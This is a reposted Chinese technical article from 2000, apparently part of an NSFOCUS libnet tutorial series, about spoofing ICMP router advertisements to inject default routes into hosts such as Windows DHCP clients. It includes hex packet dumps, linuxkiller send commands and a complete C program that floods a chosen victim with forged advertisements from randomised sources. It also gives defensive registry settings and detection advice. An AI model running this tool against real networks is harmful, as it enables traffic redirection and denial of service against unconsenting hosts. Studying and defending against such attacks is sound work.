libnet使用举例(11)

libnet使用举例(11)

作者:ADAM(mailto: adam@nsfocus.com)
整理:小四(mailto: scz@nsfocus.com)
主页:http://www.nsfocus.com
日期:2000-09-12



本以为ICMP除了重定向报文之外没有其他类型的报文可以远程影响路由表,结果在被
ipxodi痛苦折磨的日子里发现忘记了另外一种可能造成极大破坏的ICMP报文。

RFC1256定义了ICMP路由请求/通告报文。如果主机的ICMP路由请求功能是打开的,那
么主机启动的时候可能会广播、多播ICMP路由请求报文,某些路由器会响应以ICMP路
由通告报文。即使主机没有主动发送ICMP路由请求报文,也会被路由器发送的ICMP路
由通告报文影响到路由表。ICMP路由通告报文在主机路由表里生成的是缺省路由,其
生命周期一般是30分钟,而路由器一般每10分钟就会主动发送ICMP路由通告报文,实
际意味着这样生成的缺省路由永不过期。

--------------------------------------------------------------------------
下面是一个ICMP路由请求报文的例子:

ff ff ff ff ff ff 00 00 00 11 11 11 08 00 45 00 
00 1c 20 00 00 00 20 01 f1 36 c0 a8 08 5a c0 a8 
ff ff 0a 00 f5 ff 00 00 00 00 

0a 00       type = 10 code = 0
f5 ff       校验和 = 0xF5FF
00 00 00 00 Unused(置零)

把上述报文存入 RouterSelection.txt 文件中,以 root 身份执行如下命令:
./linuxkiller -k RouterSelection.txt -w 5 -r 1000
--------------------------------------------------------------------------

--------------------------------------------------------------------------
下面是一个ICMP路由通告报文的例子:

00 00 00 11 11 11 00 00 00 22 22 22 08 00 45 00 
00 24 12 34 00 00 ff 01 15 aa c0 a8 0a 50 c0 a8 
08 5a 09 00 aa fb 01 02 7f ff c0 a8 0a 5a 00 00 
00 00 

00 00 00 11 11 11 目标MAC
00 00 00 22 22 22 源MAC,这个是无所谓的,随便填,不过别和目标MAC一样
08 00             IP协议

45 00 
00 24             长度( 20 + 16 )
12 34             ID号
00 00             Flags
ff                TTL
01                ICMP协议
15 aa             校验和 = 0x15AA
c0 a8 0a 50       源IP,192.168.10.80
c0 a8 08 5a       目标IP,192.168.8.90

09 00             type = 9 code = 0
aa fb             校验和 = 0xAAFB
01                项目个数
02                每个项目大小,这里固定是2,两个32bit
7f ff             生存时间,指在目标主机路由表的有效时间,过期会被删除
                  单位是秒
c0 a8 0a 5a       路由器地址
00 00 00 00       优先级,默认为0,越大优先级越高;优先级为0x80000000表示
                  该路由器地址不能做为缺省路由

把上述报文存入 RouterAdvertisement.txt 文件中,以 root 身份执行如下命令:
./linuxkiller -k RouterAdvertisement.txt -w 5 -r 1000
--------------------------------------------------------------------------

路由器并不是严格定期发送ICMP路由通告报文,而是随机的,避免和其他路由器发生
冲突,一般两次通告间隔450秒到600秒,也就是10分钟左右,而通告报文里的生存时
间一般是30分钟(1800秒)。使用生存时间有一个用处,如果路由器的某个Interface
即将关闭,此时可以从这个接口上发送最后一个ICMP路由通告报文,并把生存时间设
置成零。如果子网内存在多个路由,由系统管理员配置各个路由在发送ICMP路由通告
报文时使用的优先级。

这两种ICMP报文比较新,不是所有系统都支持它们。Solaris 2.x的
/usr/sbin/in.rdisc正是支持它们的Daemon程序,具体的可以参看man手册。

运行微软Win9x、Win2K的DHCP客户端,其ICMP路由请求功能默认是打开的。通过伪造
ICMP路由通告报文,就可能在DHCP客户端增加一条缺省路由,它的优先级高于来自
DHCP服务器的缺省路由。对于Win2K,ICMP路由通告报文增加上来的缺省路由优先级
低于来自DHCP服务器的缺省路由,所以受此攻击危害较小,但因为能增加内容到路由
表,就存在DoS攻击的可能。

在ADAM的帮助下,找到了相应的注册表信息:

--------------------------------------------------------------------------
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Tcpip/Parameters/
Interfaces/{2FF4FAFD-40EC-4723-9FD0-86BFCBE0975B}

这最后的是接口名,你的系统上显然不是这个名字,需要自己确定

PerformRouterDiscovery 

REG_DWORD 

Value Meaning 
0     禁用路由发现功能
1     启用路由发现功能

参看RFC 1256
--------------------------------------------------------------------------

我们怀疑不需要启动DHCP Client就可以启用路由发现功能,进而意味着ICMP路由通
告报文将影响本机路由表。ADAM在中文Windows 2000 AD Server上设置了该值并重启
动,我从另外一台Windows 98上用NetXray构造一个类似上述举例中ICMP路由通告报
文,结果ADAM主机路由表中出现了预料中的缺省路由,但是Metric高达1000,实际意
味着没有多少机会影响ADAM主机发出的IP报文流向。而ICMP主机路由重定向报文增加
上去的是特定主机路由,优先级相当高,注意区别二者的最终效果。

ICMP路由通告报文不要求源IP真实存在,不要求源IP是当前有效路由之一,不对路由
器IP做太多限制,比起ICMP主机路由重定向报文,要容易伪造得多。水木清华
Network版上讨论过太多DHCP的问题,想必大量使用DHCP协议,也给这种攻击提供了
良好的大规模测试环境。事实上,配置了DHCP Client的主机可以通过上述注册表设
置禁用路由发现功能,此时并不影响DHCP Client的其他功能。

顺便给一个ICMP主机路由重定向问题的解决办法,没有任何理由在简单局域网拓扑中
启用这个功能,解决办法就是禁止它。下面来自中文Windows 2000 Server版注册表。

--------------------------------------------------------------------------
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Tcpip/Parameters

EnableICMPRedirect

REG_DWORD 

Value Meaning 
0     禁止ICMP重定向
1     允许ICMP重定向,默认是允许
--------------------------------------------------------------------------

遗憾的是缺乏实验环境,没来得及找到Pwin98下相应的两个注册表设置位置,但我确
信它们存在。

如何察觉、防范ICMP路由通告攻击呢?查看路由表最直接。注意,与检查ICMP重定向
攻击不同,netstat -s无法察觉这种攻击,内核没有相应统计量。协议分析软件、
IDS等等都很容易发觉这种攻击企图。利用防火墙限制ICMP路由通告报文。根据具体
情况修改本机系统设置。

libnet的作者并没有做好足够思想准备接受这种新生事物,man libnet找不到对应的
组包函数,我们必须在IP数据区自己构造这样的ICMP路由通告报文。所有涉及到的函
数本系列前面都介绍过了,不再重复。

命令行上指定伪造的源IP(可随机化)、攻击目标IP、伪造的路由IP(不考虑随机化,
没有太多意义,采用指定方式时尽量使用直接路由)、ICMP路由通告报文个数。

--------------------------------------------------------------------------
/*
* File   : icmp router advertisement program for i386/Linux using libnet
* Version: 0.99 alpha
* Author : scz < mailto: scz@nsfocus.com >
*        : http://www.nsfocus.com
* Complie: gcc -O3 -o ia icmpadv.c `libnet-config --defines --cflags` `libnet-config --libs`
* Usage  : ./ia --di 192.168.8.90 --routeIp 192.168.0.11 --level 1000
* Date   : 2000-09-04 09:29
*/

/*******************************************************************
*                                                                 *
*                            头文件                               *
*                                                                 *
*******************************************************************/

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <time.h>    /* 使用time()产生随机化种子     */
#include <getopt.h>  /* 使用getopt()长选项支持       */
#include <libnet.h>  /* 使用libnet必须包含这个头文件 */

/*******************************************************************
*                                                                 *
*                            宏定义                               *
*                                                                 *
*******************************************************************/

#define SUCCESS           0
#define FAILURE          -1
#define DEFAULTIRANUMBER  5       /* 缺省发送ICMP路由通告报文数目 */
#define DEFAULTTTL        0x7FFF  /* 缺省生存时间                 */
#define DEFAULTLEVEL      0       /* 缺省路由优先级               */

/*******************************************************************
*                                                                 *
*                            全局变量                             *
*                                                                 *
*******************************************************************/

/* 用于初始化伪随机数发生器 */
u_long randomState[64] = 
{
0x00000003, 0x32d9c024, 0x9b663182, 0x5da1f342, 0x7449e56b, 0xbeb1dbb0, 0xab5c5918, 0x946554fd,
0x8c2e680f, 0xeb3d799f, 0xb11ee0b7, 0x2d436b86, 0xda672e2a, 0x1588ca88, 0xe369735d, 0x904f35f7,
0xd7158fd6, 0x6fa6f051, 0x616e6b96, 0xac94efdc, 0xde3b81e0, 0xdf0a6fb5, 0xf103bc02, 0x48f340fb,
0x36413f93, 0xc622c298, 0xf5a42ab8, 0x8a88d77b, 0xf5ad9d0e, 0x8999220b, 0x27fb47b9, 0x9a319039,
0x94102000, 0x9610000a, 0xc60a0000, 0x90022001, 0x8408e07f, 0x8528800a, 0x8088e080, 0x02800004,
0x9612c002, 0x10bffff9, 0x9402a007, 0x81c3e008, 0xd6224000, 0x86102000, 0x94100003, 0xd60a0000,
0x90022001, 0x840ae07f, 0x85288003, 0x94128002, 0x808ae080, 0x12bffffa, 0x8600e007, 0x80a0e01f,
0x18800006, 0x808ae040, 0x02800004, 0x84103fff, 0x85288003, 0x94128002, 0x81c3e008, 0xd4224000
};

size_t   ipDataSize;
u_char * packet      = NULL;
/* ICMP重定向报文有负载 */
size_t   packet_size = LIBNET_IP_H;
int      rawSocket;

/*******************************************************************
*                                                                 *
*                            函数原型                             *
*                                                                 *
*******************************************************************/

void Libnet_do_checksum ( u_char * buf, int protocol, int len );
void Libnet_init_packet ( size_t p_size, u_char ** buf );
int  Libnet_open_raw_sock ( int protocol );
void Libnet_write_ip ( int sock, u_char * packet, int len );
void iraSend ( u_long srcIp, u_long dstIp, u_long routeIp, u_long iraNumber );
void usage ( char * arg );

/*----------------------------------------------------------------------*/

void Libnet_do_checksum ( u_char * buf, int protocol, int len )
{
    if ( libnet_do_checksum( buf, protocol, len ) == -1 )
    {
        libnet_error( LIBNET_ERR_FATAL, "libnet_do_checksum failed/n" );
    }
    return;
}  /* end of Libnet_do_checksum */

void Libnet_init_packet ( size_t p_size, u_char ** buf )
{
    if ( libnet_init_packet( p_size, buf ) == -1 )
    {
        libnet_error( LIBNET_ERR_FATAL, "Can't initialize packet/n" );
    }
    return;
}  /* end of Libnet_init_packet */

int Libnet_open_raw_sock ( int protocol )
{
    int s;
    if ( ( s = libnet_open_raw_sock( protocol ) ) == -1 )
    {
        libnet_error( LIBNET_ERR_FATAL, "Can't open raw socket %08x/n", protocol );
    }
    return( s );
}  /* end of Libnet_open_raw_sock */

void Libnet_write_ip ( int sock, u_char * packet, int len )
{
    int w;
    if ( ( w = libnet_write_ip( sock, packet, len ) ) < len )
    {
        libnet_error( LIBNET_ERR_WARNING, "libnet_write_ip only wrote %d bytes/n", w );
    }
    return;
}  /* end of Libnet_write_ip */

void iraSend ( u_long srcIp, u_long dstIp, u_long routeIp, u_long iraNumber )
{
    u_long i;

    /* 构造IP头 */
    libnet_build_ip( ipDataSize,           /* IP数据区长度 */
                     IPTOS_LOWDELAY,       /* IP tos       */
                     ( u_short )random(),  /* IP ID        */
                     0,                    /* frag stuff   */
                     255,                  /* TTL          */
                     IPPROTO_ICMP,         /* 上层协议     */
                     srcIp,                /* big-endian序 */
                     dstIp,                /* 目标IP       */
                     NULL,                 /* 无选项       */
                     0,                    /* 选项长度零   */
                     packet );             /* 指向IP头     */
    // 这里必须意识到,计算ICMP重定向报文校验和应该发生在整个ICMP报文构造完毕之后 
    // 我们目的特殊,部分数据提前构造完毕了 
    /* 计算ICMP重定向报文校验和,IP校验和由内核亲自计算 */
    Libnet_do_checksum( packet, IPPROTO_ICMP, ipDataSize );
    for ( i = 0; i < iraNumber; i++ )
    {
        /* 发送ICMP路由通告报文 */
        Libnet_write_ip( rawSocket, packet, packet_size );
    }  /* end of for */
    return;
}  /* end of iraSend */

void usage ( char * arg )
{
    fprintf( stderr, " Usage: %s [--si srcIp] [--di dstIp] [--routeIp routeIp] [--num iraNumber]/n/t"
             "[--ttl ttl] [--level level]/n", arg );
    exit( FAILURE );
}  /* end of usage */

int main ( int argc, char * argv[] )
{

#define LONGOPTIONCHAR '-'

    /* 定义长选项 */
    static struct option longOption[] =
    {
        { "si",      1, 0, LONGOPTIONCHAR },  /* 源IP           */
        { "di",      1, 0, LONGOPTIONCHAR },  /* 攻击目标IP     */
        { "routeIp", 1, 0, LONGOPTIONCHAR },  /* 伪造的路由IP   */
        { "num",     1, 0, LONGOPTIONCHAR },  /* ICMP报文数目   */
        { "ttl",     1, 0, LONGOPTIONCHAR },  /* 生存时间       */
        { "level",   1, 0, LONGOPTIONCHAR },  /* 优先级         */
        { 0, 0, 0, 0 }
    };
    int    longOptionIndex            = 0;  /* 用于处理长选项 */
    /* IP使用使用网络字节序指定 */
    u_long           srcIp            = 0xffffffff;        /* 伪造源IP,也是路由器 */
    u_long           dstIp            = 0xffffffff;        /* 牺牲者               */
    u_long           routeIp          = 0xffffffff;        /* 伪造的路由IP         */
    u_long           iraNumber        = DEFAULTIRANUMBER;  /* ICMP路由通告报文数目 */
    unsigned int     randomSeed       = ( unsigned int )time( NULL );
    int              c;
    u_char *         ipData;
    u_long *         tempUlong;
    u_short *        tempUshort;
    u_short          ttl              = DEFAULTTTL;        /* 生存时间             */
    u_long           level            = DEFAULTLEVEL;      /* 优先级               */

    if ( argc == 1 )
    {
        usage( argv[0] );
    }
    initstate( randomSeed, ( char * )randomState, 128 );
    setstate( ( char * )randomState );
    opterr = 0;  /* don't want getopt() writing to stderr */
    while ( ( c = getopt_long( argc, argv, "h", longOption, &longOptionIndex  ) ) != EOF )
    {
        switch ( c )
        {
        case LONGOPTIONCHAR:  /* 处理长选项 */
            /*
            fprintf( stderr, "option %s", longOption[ longOptionIndex ].name );
            if ( optarg )
            {
                fprintf( stderr, " with arg %s", optarg );
            }
            fprintf( stderr, "/n" );
            */
            if ( optarg )
            {
                switch ( longOptionIndex )
                {
                case 0:
                    /* 返回值是big-endian序 */
                    srcIp = libnet_name_resolve( optarg, LIBNET_DONT_RESOLVE );
                    if ( srcIp == -1 )
                    {
                        libnet_error( LIBNET_ERR_FATAL, "Bad srcIp: %s/n", optarg );
                    }
                    break;
                case 1:
                    /* 返回值是big-endian序 */
                    dstIp = libnet_name_resolve( optarg, LIBNET_DONT_RESOLVE );
                    if ( dstIp == -1 )
                    {
                        libnet_error( LIBNET_ERR_FATAL, "Bad dstIp: %s/n", optarg );
                    }
                    break;
                case 2:
                    /* 返回值是big-endian序 */
                    routeIp = libnet_name_resolve( optarg, LIBNET_DONT_RESOLVE );
                    if ( routeIp == -1 )
                    {
                        libnet_error( LIBNET_ERR_FATAL, "Bad routeIp: %s/n", optarg );
                    }
                    break;
                case 3:  /* 采用10进制 */
                    iraNumber = ( u_long )strtoul( optarg, NULL, 10 );
                    if ( iraNumber == 0 )
                    {
                        fprintf( stderr, "Check your iraNumber/n" );
                        exit( FAILURE );
                    }
                    break;
                case 4:  /* 采用10进制 */
                    ttl = ( u_short )strtoul( optarg, NULL, 10 );
                    break;
                case 5:  /* 采用10进制 */
                    level = ( u_long )strtoul( optarg, NULL, 10 );
                    break;
                default:
                    break;
                }  /* end of switch */
            }
            break;
        case 'h':
        case '?':
            usage( argv[0] );
        }  /* end of switch */
    }  /* end of while */
    /* 如果未指定srcIp,随机化 */
    if ( srcIp == -1 )
    {
        srcIp = ( u_long )random();
    }
    if ( dstIp == 0xffffffff )
    {
        fprintf( stderr, "Check your dstIp/n" );
        exit( FAILURE );
    }
    /* routeIp不考虑随机化,尽量指定直接路由,但非强制性要求 */
    if ( routeIp == 0xffffffff )
    {
        routeIp = ( u_long )random();
    }
    ipDataSize   = 16;
    packet_size += ipDataSize;
    fprintf( stderr, "[ Icmp route advertising ... ... ]/n" );
    /* 分配内存并初始化成零 */
    Libnet_init_packet( packet_size, &packet );
    /* 在这里构造ICMP路由通告报文的部分数据 */
    ipData       = packet + LIBNET_IP_H;
    ipData[0]    = 0x09;  /* ICMP路由通告报文           */
    ipData[1]    = 0x00;  /* 校验和留待后面调用函数计算 */
    ipData[4]    = 0x01;  /* 项目个数                   */
    ipData[5]    = 0x02;  /* 项目大小,固定为2          */
    tempUshort   = ( u_short * )( ipData + 6 );
    *tempUshort  = htons( ttl );    /* 生存时间 */
    tempUlong    = ( u_long * )( ipData + 8 );
    *tempUlong   = routeIp;         /* 路由IP   */
    tempUlong    = ( u_long * )( ipData + 12 );
    *tempUlong   = htonl( level );  /* 优先级   */
    /* 创建raw_socket */
    rawSocket = Libnet_open_raw_sock( IPPROTO_RAW );
    iraSend( srcIp, dstIp, routeIp, iraNumber );
    /* 关闭raw_socket */
    libnet_close_raw_sock( rawSocket );
    /* 释放由libnet_init_packet()分配的内存 */
    libnet_destroy_packet( &packet );
    fprintf( stderr, "/n[ Icmp route advertised ]/n" );
    return( SUCCESS );
}  /* end of main */

/*----------------------------------------------------------------------*/

--------------------------------------------------------------------------

Usage: ./ia [--si srcIp] [--di dstIp] [--routeIp routeIp] [--num iraNumber]
       [--ttl ttl] [--level level]

测试中验证了一些有趣的事实。当生存时间ttl设置成0的时候,实际意味着远程删除
前面通过ICMP路由通告报文增加上去的缺省路由。优先级level默认为0,在2K上远程
增加上来的缺省路由Metric为1000,当level设置成1000的时候,在2K上远程增加上
来的缺省路由Metric为1。对于2K,只有level等于1000时Metric才为1,level继续增
大,Metric非但不减小反而增大。注意,所谓缺省路由就是0.0.0.0/0.0.0.0路由,
缺省路由在IP寻径中一般最后被使用,缺省路由可以多条并存。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值